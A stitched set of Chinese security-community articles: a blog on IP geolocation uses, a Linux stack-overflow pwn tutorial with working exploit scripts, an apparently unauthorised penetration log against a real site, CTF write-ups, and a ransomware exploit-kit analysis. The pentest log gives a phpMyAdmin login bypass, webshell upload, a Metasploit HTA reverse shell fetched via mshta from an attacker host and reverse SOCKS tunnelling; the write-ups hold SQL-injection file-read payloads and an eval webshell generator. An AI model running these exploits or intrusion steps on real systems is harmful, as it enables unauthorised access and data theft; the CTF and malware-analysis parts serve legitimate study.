百度地图高精度IP定位功能，原本目的是为了提高自家地图产品首次打开时候的默认位置尽可能靠近用户，方便用户。恰逢lbs游戏爆发年，为了鼓励开发者开发类似于手机QQ《AR红包》、《Pokemon
GO》这样的室外手机LBS应用，开对外开放了这个数据接口。事与愿违，事实上并没有诞生多少使用此功能发展起来的游戏或者应用。反倒是催生了黑色/灰色产业链对这份数据的渴望。
目前黑产/灰产的用途无非就是这么几个：
用来配合社交软件定位追查他人，这类社交软件有
QQ、微信、陌陌等。其背后用途往往是追债，复仇，查婚外情等场景，稍微良性一点的，则是查吵架离家出走的男女对象。此处不做过多解释。顺便申明，我也没有能力提供黑灰产业的支持。
少有的相对正当用途，却仍然有部分环节存在争议，但尚不足以违法，目前接触过的几个情况有：
1，网站服务举办方
1.1
就近提供用户服务：例如一个朋友做的校车接送系统，用来尽可能准确的方便校车司机寻找家长和孩子的位置。微信促销活动，用来判断是否在活动地区内。投票应用，判断用户是否存在刷票行为；
1.2 网站访客分布分析，比如我做的一个小功能，我的网站最后10000访问的用户分布图；
1.3
黑客工具追查：比如我好几次从网站安全日志里，发现有黑客注入，暴力破解，遍历寻找漏洞的情况，通过日志里的IP，轻松查询到黑客的位置信息。另有的例子，有人曾借助这个功能，排查是否分析是否是同行恶意竞争。
2，法务人员
2.1 对于一般的案件，警察手里的证据可反映出用户ip信息，这时候，通过高精度ip查询功能可以获取部分对于案情分析有益的线索。
2.2 部分场景，甚至可以直接根据IP追查到逃犯位置
3，网络媒体广告行业
3.1
广告投放效果分析，通过日志，轻松分析出某次广告投放效果如何，覆盖力度，比如微信现在就推出了朋友圈定向投放的广告，山东用户，不会轻易看到四川本地服务公司打出的广告
3.2
非人类流量识别，在这个行业做的比较好的有rtbasia，如有需要欢迎联系我qq453177660，我与rtb有业务关系，在这个领域他家的服务比较不错。尤其是对于大数据行业发展引发的爬虫泛滥现象，特别需要各大网站服务商进行爬虫防御。连我的这个弱小站点都被迫修改过好几次验证码逻辑。
3.2
投票类应用，这个例子前文已经部分提到过了。几乎只要存在投票就存在刷票，当下刷票手段也是突飞猛进，挂代理，人机配合，漏洞利用，虚假实名信息等手法大量存在。借助ip位置可以轻松识别出一部分虚假投票。甚至我在此不建议各位站长同行使用投票方式做某些决策。
4，寻人（亲朋好友）
4.1
家人离家出走。常见的情况有，叛逆孩子离家出走，夫妻吵架离家出走。这种家务事，虽然不见得违法，但是至少违背当事人意愿，也是个模糊的边界。警察难以接收，倒是不少私家侦探比较热衷。
4.2
传销解救。以前我都不知道居然有人专门做这个，将其发展为职业。现在发现确实存在这样的情况，当事人在传销组织言听计从非常忠心，明明向外界有联系却不透漏自己位置。
5，金融行业
5.1 凡是金融都有自己的风控措施。此处不必多说，该行业自然会根据自己的基础能力进行风控模型的建设。
5.2 追查欠款不还。不还款未必是借款人本意，但确实存在不还款的情况。因此ip定位技术确实在这个行业里有一定的应用。
【拉赞助环节】
插播下广告，本站站长目前兼职从事阿里云推广工作，筛选了如下活动供需要的朋友使用：
阿里云代金券 [https://2bit.cn/1](https://2bit.cn/1?xz)
新手上云低配 [https://2bit.cn/2](https://2bit.cn/2?xz)
新手上云高配 [https://2bit.cn/5](https://2bit.cn/5?xz)
阿里云天猫店 [https://2bit.cn/aliyunTM](https://2bit.cn/aliyunTM?xz)
最后郑重声明下本站([openGPS.cn](https://www.openGPS.cn?xz))观点：
本站建站目的追根溯源只是技术研究，目前无任何商业计划。虽然因为高精度ip无意中收获了点名气，但是并不借此发家致富。
对于未经他人允许性质的查询，恕不提供！！！
对于商业用途，我这里暂时无法对外提供服务，欢迎广告媒体等行业的需求使用我合作的RTBAsia和ipplus360的数据。虽然精确度不及之前释放的高精度，但是相对于业务来讲，已经足够使用。联系上这两家ip位置数据提供商之后，提我名字会有优惠！ | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/2b-tu6OzFGe-3_aHta1HmQ>**
这个系列主要介绍linux
pwn的基础知识，包括堆栈漏洞的一些利用方法。这篇文章是这个系列的第一篇文章。这里我们以jarvisoj上的一些pwn题为例来对linux下栈溢出利用和栈的基本知识做一个介绍做一个简单的入门级介绍。题目地址：<https://www.jarvisoj.com/challenges>。
#### 0\. Level0，栈的基本结构及nx绕过
首先查看一下题目的保护措施（如下图所示），可以看到是一个只开启了NX的64位linux程序。
关于linux pwn常见的保护
###### 0.RELRO
部分RELRO(由ld -z relro启用):
1. 将.got段映射为只读(但.got.plt还是可以写)
2. 重新排列各个段来减少全局变量溢出导致覆盖代码段的可能性.
完全RELRO(由ld -z relro -z now启用)
1. 执行部分RELRO的所有操作.
2. 让链接器在链接期间(执行程序之前)解析所有的符号, 然后去除.got的写权限.
将.got.plt合并到.got段中, 所以.got.plt将不复存在.
###### 1.stack canary
在函数返回值之前添加的一串随机数（不超过机器字长），末位为/x00（提供了覆盖最后一字节输出泄露canary的可能）
###### 2.NX
no executable，标识页表是否可执行
###### 3.pie
elf文件加载基址随机化，和系统的aslr不同。Linux系统的aslr可通过
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
关闭，其中
1. 没有随机化。即关闭 ASLR。
2. 保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
3. 完全的随机化。在 1 的基础上，通过 brk() 分配的内存空间也将被随机化。
下面我们分析下level0的功能并寻找漏洞，将程序拖进IDA中查看，
可以看到程序保留了符号表（这里也可以使用IDA的反编译功能F5查看代码，不过为了避免IDA反编译的错误和一些数据类型导致的漏洞建议练习使用汇编查看关键代码），在入口点main函数中先调用write(1,”Hello,
World\n”,0xd)在控制台输出了Hello,World\n的字符串（在Linux中，文件流fd为0、1、2分别代表标准输入、标准输出和标准错误输出，在程序中打开文件得到的fd从3开始增长）；然后将write的返回值(eax)清零，并调用了一个叫vulnerable_function的函数，根据名字可以猜测这个函数是存在漏洞的。
我们跟进vulnerable_function函数
仔细观察不难发现vulnerable_function中调用了read(0,buf,0x200)，其中buf的位置是rbp-0x80，从标准输入（fd=0）读取的字符长度为0x200，这样就造成了栈溢出。
下面考虑怎么利用栈溢出来劫持控制流到达任意代码执行的效果。
一个比较典型的函数调用过程是：
1.开辟栈帧（函数栈空间）。栈的生长方式是从高地址向低地址生长，开辟栈帧一般的汇编指令（没有经过inline hook优化的）是push
bp(当前栈基址压栈)、mov bp,sp(bp寄存器保存栈顶sp寄存器值)、sub sp,xx(开辟xx大小的栈空间)
2.设置函数参数（寄存器保存或者参数压栈，栈中保存的参数逆序压栈）
3.call新的func（call的原子操作是push下一条汇编指令pc，然后jump到func的地址继续执行），func执行的过程重复1-3
这样call func后栈空间的布局大致是
比较典型的函数执行完返回的过程是:
1. leave，等价于mov sp,bp；pop bp。mov sp,bp将开辟栈帧时保存的上一个栈顶sp寄存器的值（开辟栈帧时mov bp,sp使用bp寄存器保存）恢复到sp，此时栈顶sp指向图中bp的位置；pop bp恢复bp寄存器后sp指向pc的位置
2. retn，等价于pop ip，此时sp指向pc，pop ip将pc处的值赋值给ip寄存器，即返回到caller’s pc处继续执行
从以上过程不难看出只要我们控制了caller’s pc的值就可以在函数返回的时候返回到我们控制的pc处继续执行，从而劫持控制流执行我们的代码。
所以构造level0的payload为padding+bp+pc，其中padding覆盖栈空间为0x80字节大小。由于程序开启了nx保护（no
execute，代码页不可执行），所以我们不能在函数返回的位置（pc）直接添加shellcode执行任意代码。nx保护一般的绕过方式是代码重用，即利用可执行代码页的代码来达到我们想要的任意代码执行的目的。仔细观察这个题目中有一个函数叫callsystem，跟进发现是一个执行system(‘/bin/sh’)的预置后门，所以我们把pc赋值成callsystem的地址400596即可。
脚本如下
from pwn import *
context.log_level='DEBUG'
rmt=1
if rmt:
r=remote('pwn2.jarvisoj.com',9881)
else:
r=process('./level0')
sys_addr=0x400596
payload='a'*0x80+'b'*8+p64(sys_addr)
r.sendlineafter('Hello, World',payload)
r.interactive()
#### 1\. level1，未开启nx保护写shellcode执行任意代码
漏洞类型、成因与level0一致，只不过level1是一个32位未开启nx的程序（栈代码页可执行），程序中没有出现像level0一样的后门(system(‘/bin/sh’))，我们这里考虑写shellcode执行任意代码。
程序输出了buf的地址，我们在buf的位置布置shellcode然后覆盖返回地址为
buf地址执行shellcode即可。构造payload=shellcode+padding+bp+ret，其中shellcode+padding覆盖栈空间，大小0x88；32位bp的长度为4字节；ret的地址覆盖为程序输出的buf的地址即可。
关于shellcode的编写，我们可以使用pwntools提供的shellcraft模块，也可以自己编写system(‘/bin/sh’)的调用。一个比较好用的linux系统中断号查询网址（自备飞机）<https://syscalls.kernelgrok.com/>
查询可得0xb调用号为sys_execve，eax=0xb，ebx=path，ecx=argv，envp=0即可执行sys_execve(path,argv,envp)的调用。
脚本如下
from pwn import *
context.log_level='DEBUG'
rmt=1
if rmt:
r=remote('pwn2.jarvisoj.com',9877)
else:
r=process('./level1')
r.recvuntil('this:')
buf_addr=int(r.recvuntil('?',drop=True),16)
payload = asm(shellcraft.sh()).ljust(0x88,’\x90’)
payload+=’b'*4 + p32(buf_addr)
r.send(payload)
r.interactive()
pwntools提供的shellcode
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
#### 2\. level5，利用rop绕过aslr、nx、读取shellcode修改内存属性执行任意代码
level2，level3，level4都是rop相关的pwn。level5在level3的基础上加了限制，这里以level5为例做一个rop的示范。rop即Return-oriented
Programming（面向返回的编程），主要思路是修改函数栈的返回地址利用代码块gadget来达到任意代码执行的效果。（看到这里，相信你已经对栈的结构和劫持控制流的过程有了初步了解，尝试去理解一下下面这个利用rop多次触发漏洞绕过很多限制最终执行任意代码的过程吧;p）
Level5给出的限制的意思是使用mmap分配一块内存，然后使用mprotect改变内存属性为可执行最终达到任意代码执行的目的。由此可以想到的思路是：
* 泄露libc基址绕过aslr，得到mmap、mprotect的地址
* 程序未开启pie，加载基址固定，容易想到的一个比较方便的存放shellcode的地址是bss段。这里我们把shellcode写到bss段基址处
* 由于开启了nx保护，bss段内存不可执行，所以需要mprotect改变bss段内存属性为可执行
* 覆盖函数返回地址为bss段基址执行shellcode
###### 1) 泄露libc基址绕过aslr
首先需要明确的一点是不管程序开没开启pie都是需要绕过aslr的，因为程序运行加载的动态库即libc是开启pie的，我们需要得到libc中函数的地址，反推我们需要得到libc的基址。
最终目的：执行write(1,write@got)，返回到程序起始点以便多次触发漏洞
Linux下函数传参方式如上所示，我们只需使第一个参数rdi=1,第二个参数rsi=write@got，返回到write@plt执行即可。
got和plt表是linux实现动态连接的方式。plt即procedure linkage table,
进程链接表，这个表里包含了一些代码用来调用链接器解析外部函数地址，填充到got表中并跳转到该函数；如果got表对应函数地址已经填充则在got表中查找并跳转到对应函数。got即global
offset
table全局偏移表，如果已经填充符号函数对应地址，对应got项为相应函数地址；如果没有填充符号函数地址，内容为跳转到对应plt表项的代码并在plt表中完成对应函数地址的查找。
使用ROPgadget搜索可得赋值rdi的gadget地址为0x4006b3
由于函数地址在内存中相对于libc加载地址的偏移和函数在libc中的偏移是相同的，我们用读到的write@got的值减去write在libc中的偏移即为libc在内存中加载的基址。
###### 2）把shellcode写到bss段基址处
最终目的：执行read(0,bss_addr,sizeof(shellcode))，返回到程序起始点以便多次触发漏洞。执行的这段rop代码是从控制台读取shellcode到bss段，执行完rop我们还需要输入要执行的shellcode
###### 3）修改bss段内存属性
最终目的：执行mprotect(bss_addr,0x1000,7)，并返回到程序起始点
其中mprotext的prot为7标识可读可写可执行，prot可以取以下几个值，并且可以用“|”将几个属性合起来使用：
1. PROT_READ：表示内存段内的内容可写；
2. PROT_WRITE：表示内存段内的内容可读；
3. PROT_EXEC：表示内存段中的内容可执行；
4. PROT_NONE：表示内存段中的内容根本没法访问。
###### 4）覆盖函数返回地址为bss段基址，即shellcode的起始地址
最终脚本如下：
from pwn import *
context.log_level='DEBUG'
local=1
if local:
r=process('./level3_x64')
else:
r=remote('pwn2.jarvisoj.com',9883)
file=ELF('./level3_x64')
libc=ELF('./libc-2.19.so')
def debug():
if local:
print 'pid: '+str(r.pid)
pause()
prdi=0x4006b3
prsi=0x4006b1
bss_start=0x600A88
start_addr=0x4004F0
'''
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x0000000000001b8e : pop rdx ; ret
'''
payload1='a'*0x80+'b'*8+p64(prdi)+p64(1)+p64(prsi)+p64(file.got['write'])+'c'*8+p64(file.plt['write'])
payload1+=p64(start_addr)
r.recvuntil('\n')
r.send(payload1)
write_got=u64(r.recv(8))
sleep(1)
libc_base=write_got-libc.sym['write']
mprotect=libc_base+libc.sym['mprotect']
prdx=libc_base+0x1b8e
print hex(libc_base)
print hex(mprotect)
print hex(prdx)
payload2='a'*0x80+'b'*8+p64(prdi)+p64(0x600000)+p64(prsi)+p64(0x1000)+'c'*8+p64(prdx)+p64(7)+p64(mprotect)+p64(start_addr)
r.recvuntil('\n')
r.send(payload2)
sleep(1)
debug()
payload3='a'*0x80+'b'*8+p64(prdi)+p64(0)+p64(prsi)+p64(bss_start)+'c'*8+p64(prdx)+p64(48)+p64(file.plt['read'])+p64(start_addr)
r.recvuntil('\n')
r.send(payload3)
sleep(1)
r.send(asm(shellcraft.amd64.linux.sh(),arch='amd64'))
debug()
payload4='a'*0x80+'b'*8+p64(bss_start)
r.recvuntil('\n')
r.send(payload4)
r.interactive()
### 总结
这篇文章主要介绍了栈的基础知识和一些栈溢出pwn的方法、原理，希望大家读完能有所收获。
* * * | 社区文章 |
### 观众老爷们好啊 给大家表演个基本操作
* 本文适合正在学习入门的小伙伴 师傅们就不必踏雪我了
* 第一次写文章有点细(生怕写的不好,却是也是烂)中间介绍了插件工具等 可能会看一阵子 麻烦您了
多采用各种骚词(真实的内心反映) 皆是为了带动积极性希望入门的朋友把渗透当作有趣的事情来思考，抛弃枯燥乏味的感觉，冒昧之处还请多多包涵。
### 外网
> _信息收集怎么说呢 肯定是越全面越好 但找到突破口了 就不想去收集其他了 反之如果没找到合适的突破口那可能是收集不够全_
* 感觉这网站（<https://scan.top15.cn/web/> ）
使其还不错功能挺全 查到的东西也多点 这不phpmyadmin就把头伸过来了
* 接着看 基本信息还是有必要了解下
工具这东西吧 好是好就是不够准确 妈蛋 Linux 都冒出来了
(判断网站操作系统 最快捷的就是大小写 Windows对网址中的大小写不敏感 Linux则反之)
* 火狐插件 判断不迷路
* 火狐插件 傻蛋也是几款网络搜索中的老大哥了
* 好奇心使我注意到443端口 渗透就想巧克力 永远不知道下一步是啥样儿的
手工尝试了 简单弱口令 不行就先放着
后面可以尝试 爆破 注入 等等
* 回到正文来 之前网站识别出来的 phpmyadmin 头还伸着呢
* 得知版本2.10.3 第一件事就是百度 有问题多问度娘不行就谷哥 有万能密码() 试试就试试
* 不清楚10.3版本也可以利用该漏洞（也可以尝试爆破）
‘localhost’@'@”
* 进来后 拿shell为目的 （注意无权限）
第一种 phpmyadmin 熟悉两种方式 一种直接冲 into outfile 直接写 尝试失败 猜测因为万能密码原因
第二种 思路：就是利用mysql的一个日志文件。这个日志文件每执行一个sql语句就会将其执行的保存。我们将这个日
志文件重命名为我们的shell.php然后执行一条sql带一句话木马的命令。然后执行菜刀连接之！
第二种 办法 好像此处版本太低 实现不了
有趣的人运气不会太差 瞧瞧咱找到什么宝贝了
* 口令在手 shell我有
那么问题来了 绝对路径怎么找 首先尝试以下url
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
* 还有其他方法 比如info
有就更好 没有首先会尝试 谷歌语法了
##### 三种常见搜索引擎
* 还有种方式 就是用谷歌镜像 也还行
* 现在万事俱备只差马儿
* 刚开始蚁剑执行命令是有回显的 第二天执行就没了 让朋友看了下disable_functions什么情况 为什么要为难我
* 接着重新写马 试试能不能执行系统命令结果可以啊 菜刀也能执行命令 只不过变成这样回显 顶！(如果有了解情况的师傅 麻烦告知 感激不尽)
* But 虽然没了 回显但还是能执行命令。。。
* Getshell过程没什么操作难度(太难的也操作不出来)主要是记录成长过程以及对刚入门朋友描述下大概思路
### 内网
> 注意服务器改端口 防止 全网爆破流 然后用screen 挂起后台运行避免ssh断了 cs清空
> 服务器用的是 阿里云学生机(一年也就一百来块)还是挺不错的
* cs 刚开始的时候上了顺手把密码抓了 看了看大致情况就睡了
第二天 随便执行一条命令就掉 第一天都能执行命令 密码都抓了哦 现在说掉就掉 吊！
##### 佳哥让试试msf 可能是我的cs有问题
* msf生成hta
use exploit/windows/misc/hta_server
set payload windows/meterpreter/reverse_tcp
set lhost xx.xx.xx.xx
set lport 6666
执行 mshta.exe <http://xx.xx.xx.xx/pKz4Kk059Nq9.hta>
* 查找了下域控ip 192.168.30.61
* 这里存活ip检测不够准确(后面cs扫还有给.11主机)
* 这里 还打过ms17_010无果 忘了截图了--------------
Msf好久没用 不知道感觉用些什么了 还是上cs把 直观点 msf可以转发到cs
但那操作还不如我直接上cs来的快(说白了 就是懒)
##### 第二天带着疯狂掉线疑问 问了前辈 告知是由于破解没完全 发了个破解完全了版本 重新拉起
* 到内网 先看是否是域环境 接下来顺序
提权>毕竟很多命令或者程序需要高权限能省不少麻烦(这里已经最高权限)
横向渗透>扩展姿势(ms17_010、口令碰撞、哈希传递、内网web、弱口令其实也就是信息收集过程
拿下域控>毕竟域控才是王道
* systeminfo 能看到很多本机信息
收集到的信息为 域环境 虚拟机 2012服务器等 补丁虽然很全 但上来就是最高权限 舒服了
* 在域内却执行不了 域命令 真是什么奇葩环境都被我遇到了
平时看师傅们文章也没见过这些问题 还是要自己动手才晓得长记性
* 接着了解到 是域机器但不是域会话 说白了 就是没域用户 现在这个用户是本地最高权限
那还说啥 查看进程 把会话注入到有域用户上
还有种方式 就通过抓取到的口令 用make_token仿冒域用户
* 这真不清楚了 去他妈的 好惨一男的
* 后来发现自己一开始就错了 一开始看到systeminfo写的域 以为有域 毕竟长的太像了！！！
结果自己本机测试 工作组可以修改名字然后systeminfo就会出现类似于域名 例如
哎 这该死的名字！ 之前还坐了一顿傻逼操作 秀到自己了 还以为是域控关机下线或者迁移了(域内所有主机域用户或者命令都要经过域控执行)
##### But也不对啊 如果是工作组 域都是大写 他是怎么办到小写的
###### 再者 前面用Msf都能看到域控Ip 难道误报？？？
* 这里不是有口令嘛 3389上去看看 这么神奇的玩意儿 到底啥样儿
cs 自带sock4
通过cs 建立sock4代理 加上 windows下面 proxifier
ew(frp也可以但感觉用起没ew顺手)
目标: shell ew_win32.exe -s rssocks -d x.x.x.x. -e 1024
公网ip: ./ew_linux_x64 -s rcsocks -l 1024 -e 1080 &
再用proxifier 连接
还有就是msfconsole 也自带端口转发
cs的端口也带转发 不成功 不清楚原因 说无法绑定
* 上去看了一眼啥都没 空空荡荡 也没什么可翻找的 就退了 毕竟 用的sock4 慢点一逼
> 推荐 cs插件脚本 感觉挺全的挑着顺手的用还是有必要的（<https://www.codercto.com/a/57741.html> ）
##### 不管了 这里就当是工作组环境
* 工作组 无非就是撞口令、永恒之蓝、搞WEB 不让用域命令 我扫可以趴 反正就是得搞你
横向准备工作
* 存活ip
循环ping 查找存活ip 不用上传 cmd 执行
for /l %i in (1,1,255) do @ ping 192.168.124.%i -w 1 -n 1|find /i "ttl="
nbtscan 扫描内网存活ip 及目标所属(看到域了) 大家都在用 上面脚本中有个一键上传的脚本
* 端口开放 浏览器代理访问 看看是些什么东东
* 内网几台机器WEB 似乎都转发出来了 因为在外网也能看到 而且能访问登陆
外网访问目标网站443端口就出来了 应该是端口转发或者NAT
web 刚开始弱口令进不去 后来想到不是抓取的有管理密码 当一下的就进去了
眼瞅着是边界防火墙设备 看了下配置规则没什么特别
* 直到昨晚动静太大 惊动管理员了 一直在线而且配置了 规则也代理不出来 访问web的防火墙密码也改了 完蛋 ~
由于内网工作组环境 没有通杀漏洞、口令不通用、web有但无法代理的情况下 想不到其他思路继续进行、
当然也可以通过键盘记录、口令爆破等非常规方法进行由于太耗时就不再深入，对不起
### 写在最后
* 文笔垃圾、措辞轻浮、内容尚浅、操作生疏、不足之处还求多多包涵和指正，感激不尽
感谢给予帮助的繁兴、Zed、以及白帽100少先队里面个个都是人才说话又好听，最后谢谢你
这是一次失败的渗透、但也是很好的开始
* 安全须知：
安全你我他 网络靠大家 请勿复现！
本文章经用于经验及交流，严禁用于非法操作，出现后果一切自行承担，阅读此文章表示你已同意。 | 社区文章 |
# 网鼎杯 第四场 部分WriteUp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本文来自 ChaMd5安全团队，文章内容以思路为主。
>
> 如需转载，请先联系ChaMd5安全团队授权。
>
> 未经授权请勿转载。
## Web类题目
### comment
find the flag.find the flag.解题思路打开后需要登录，根据提示爆破得到账号密码 **zhangwei**
**zhangwei666**<http://2e8c0fad02d147a6b3f23624556a2fe49a4b7d2b64484f3c.game.ichunqiu.com//.git/>利用git拉下来源码，发现源码少了过程。在Chrome的dev
tools里也看到了提示: 利用git hack读取git 的结构得到真实的源码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do']){
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board set category = '$category',title = '$title', content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment set category = '$category',content = '$content', bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
} else {
header("Location: ./index.php");
}
?>
可以看到在留⾔的地⽅category存在⼆次注⼊才到发帖处构造payload，即可注⼊
category=', content=database(),bo_id='1' ON DUPLICATE KEY UPDATE category='&title=1&content=1
对整个数据库查看之后发现数据库中并⽆flag，尝试读取⽂件发现可以读取
category=', content=(select load_file('/etc/passwd'), bo_id='1' ON DUPLICATE KEY UPDATE category='&title=1&content=1
于是读取passwd发现存在www⽤户，其家⽬录为/home/www 读取⽤户的.bash_history发现了部署过程
可以看到部署过程中先cp然后删除⽂件，即原先的⽂件夹中还保留着.DS_Store 于是尝试读取/home/www/html/.DS_Store
失败，百思不得其解，思索了好久想明⽩，环境 是⽤docker部署的，临时⽂件都在/tmp⾥，md这步坑死了。于是读取/tmp/html/.DS_Store
即可拿到⽂件名称。再次读取flag⽂件即可，⼀开始还读去了个假flag。。。。。再次读取/var/www/html/flag_8946e1ff1ee3e40f.php即可获取到真实flag
### NoWafUpload
> `We no waf！`
解题思路
<http://07adfe12ce064500b8821661a71a103047480bc2ab794155.game.ichunqiu.com/>
[www.zip](www.zip)下载得到[www.zip](www.zip) 解压后得到⼀个so，分析后发现将原本的php进⾏zlib压缩后
开头添加了字符串的md5，然后⻓度padding 0x00 *4
加上⻓度再加上4字节00的padding，即为最终shell。⽤如下脚本直接⽣成⼀个shell，然后上传
import hashlib
import zlib
def md5(s):
hash = hashlib.md5()
hash.update(s)
return hash.hexdigest()
shell = "<?php eval($_POST['line']);?>"
ret = ""
for i in zlib.compress(shell):
ret += chr(ord(i) ^ 0xC)
s_len = chr(0x2)
s = md5(ret) + s_len + "\x00" * 4 + s_len + "\x00" * 4 + ret
f = open("line.php", "wb")
f.write(s)
f.close()
最后在根⽬录得到flag
### blog
解题思路打开是个wordpress，发现主⻚上赫然写着⻘⻰鼎科技，尝试github搜 qinglongdingkeji.com
搜到了⼀个仓库在api.php⾥泄露了接⼝，所以直接爆破uid即可
## Misc类题目
### 双色快
> Download 备⽤下载(密码za3y)
>
> <https://share.weiyun.com/5evIo7h>
解题思路解压得到⼀个gif，binwalk分析发现尾部有png，拿出来是⼀个密码gif轮播之后发现是⼀个24*24的像素点，每个像素为10*10，每个点颜⾊为00ff00或是ff00ff
先把gif分离成单帧
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
import os
from PIL import Image
def main(gif_file):
png_dir = 'frame/'
img = Image.open(gif_file)
try:
while True:
current = img.tell()
img.save(png_dir + str(current + 1) + '.png')
img.seek(current + 1)
expect:
pass
if __name__ == '__main__':
gif_file = 'out.gif'
main(gif_file)
然后读取每个png中的对应点的信息，并按照8bit转换为ascii
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
import os
from PIL import Image
def main():
png_dir = 'frame/'
ret = ""
for i in range(0,24):
line = ""
for j in range(0,24):
file_name = "frame/" + str(i * 24 + j + 1) + ".png"
x = j * 10 + 5
y = i * 10 + 5
img = Image.open(file_name)
img = img.convert("RGB")
img_array = img.load()
r, g, b = p = img_array[x, y]
if g == 255:
line += "0"
if r == 255 and b == 255:
line += "1"
if len(line) == 8:
ret += chr(int(line, 2))
line = ""
print ret
if __name__ == '__main__':
main()
然后进⾏DES解密即可
### Welcome
> Download 备⽤下载(密码3ujt)
>
> <https://pan.baidu.com/s/1NlgCNoaUdZayOHIBI29yVQ>
解题思路下载附件得到⼀堆分卷，合并后得到原始压缩包，然后发现需要解密 然后尝试zip爆破，跑了仨⼩时多，跑出来密码了解压后得到flag
## Crypto类题目
### Number
> nc 106.75.64.61 16356
解题思路
from gmpy2 import *
from pwn import *
ip='106.75.106.14'
port=12522
def getnm():
p=remote(ip,port)
p.recvline()
n1=int(p.recvline()[:-1])
m1=int(p.recvline()[:-1])
p.close()
return n1,m1
n1,m1=getnm()
n2,m2=getnm()
p=gcd(n1-m1,n2-m2)
print('n1',n1)
print('m1',m1)
print('n2',n2)
print('m1',m2)
print('p',hex(p))
print('x1',hex(n1/p))
print('x2',hex(n2/p))
print('y1',hex(m1/p))
print('y2',hex(m2/p))
x1=n1/p
x2=n2/p
flag1=n1%p
flag2=n2%p
print('flag1',flag1)
print('flag2',flag2)
print(flag1)
print(hex(flag1))
print('flag',hex(flag1)[2:].decode('hex'))
### shenyue
> nc 106.75.64.61 16356
解题思路python代码，分析流程后直接操作即可getflag
### shanghai
解题思路维吉利亚密码直接解密 | 社区文章 |
# 【木马分析】漏洞工具包利用广告位挂马针对国内用户传播Cerber4.0勒索软件
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**一、概述**
十月初以来，360安全团队监测到一个通过色情网站广告利用漏洞攻击包散布Ceber系列勒索软件的挂马行为，其技术手段高超，漏洞触发率高，网上不少用户中招。此次挂马也是我们第二次检测到国内大范围利用漏洞攻击包进行挂马的行为，相比之前我们检测到NeutrinoEK挂马行为[1]，又有着新的特点，本文将着重分析其利用漏洞挂马手段。
**二、挂马分析**
这次挂马主要是依靠在线广告来进行传播，当你浏览部分色情网站的时候，一旦触发点击页面事件，便会弹出一个广告页面，其中一个广告页面便会跳转到这个攻击包的Gate跳转页面hxxp://takenloop.biz，随后加载攻击代码，其攻击流程图如图1所示。
图1 攻击流程
Gate跳转页面的主要功能是根据IP、浏览器User-agent过滤请求，例如使用美国IP代理访问该页面，则返回的完全是一个正常的页面，但是如果直接使用国内IP访问，则会重定向至挂马页面，甚至有段时间内，对于IE浏览器直接跳转到一个无法访问的统计页面。
接下来的Index.html页面开始引入攻击代码，其同时含有一段VBScript和Javascript代码，这两部分代码均被混淆过。其中Javascript代码功能较为简单，主要功能是采用兼容方式去加载aa.swf；而VBScript代码则是基于CVE-2016-0189的POC修改而来，并下载执行exe。CVE-2016-0189漏洞是近期非常流行的IE漏洞，该漏洞利用简单影响范围广，目前已经普遍的被各个攻击包用于替换CVE-2014-6332漏洞[2]。
图2 VBScript下载代码
图3 CVE-2016-0189利用代码
随后访问的aa.swf文件会针对用户本地不同的Flash版本（包含在HTTP Header中的x-flash-version字段中）返回不同的文件版本，如果不带版本号，则返回一个加载ab.swf的Flash。
表1 不同版本获取的Flash文件
首先看下样本f84b34835f957a7c5677712804c02bb3的代码，整体代码比较简单，其功能是在服务器没有获得Flash版本信息的情况下，获取Flash版本信息作为拼接到ab.swf后面，形如hxxp://202.168.154.205/ab.swf?win
22,0,0,209，然后加载该文件。该Flash代码中最明显的特征是采用了针对字母和数字的凯撒密码来对字符串进行加密解密，凯撒密码是最基础的加解密算法，但是在攻击包中很少利用，这也是该攻击包的一个特征。
图4 加载Flash代码
余下的各个漏洞Flash，采用了DComSoft SWF Protector和secureSWF的加密，加大了分析难度，DComSoft SWF
Protector会把原始的Flash文件加密分散到多个BinaryData中；而secureSWF则会提取所有的字符串常量加密保存在BinaryData中并混淆代码流程，导致难以直接反编译分析。通过对这些Flash文件的解码，可以确认表1中所示的各个漏洞。这些挂马漏洞，与我们之前分析的NeutrinoEK所使用的漏洞一致，请具体参考[1]。
对于ab.swf文件，如果是通过hxxp://202.168.154.205/ab.swf?win
22,0,0,209访问实际返回的是404错误，怀疑可能其后台处理代码逻辑存在问题（理想情况下应该返回类似aa.swf的不同Flash攻击代码），但是如果不带参数的直接访问网址hxxp://202.168.154.205/ab.swf，则返回的是文件e64501e845c57e87d69e17921068621b，与某个版本的aa.swf文件一致。
图5 漏洞触发执行流程
漏洞触发后，会调用powershell和VBScript脚本下载执行勒索软件。加密的后缀是随机的字符，随后用户桌面背景会换成相关提示，并弹出一个对话框，可见这个勒索软件是cerber4
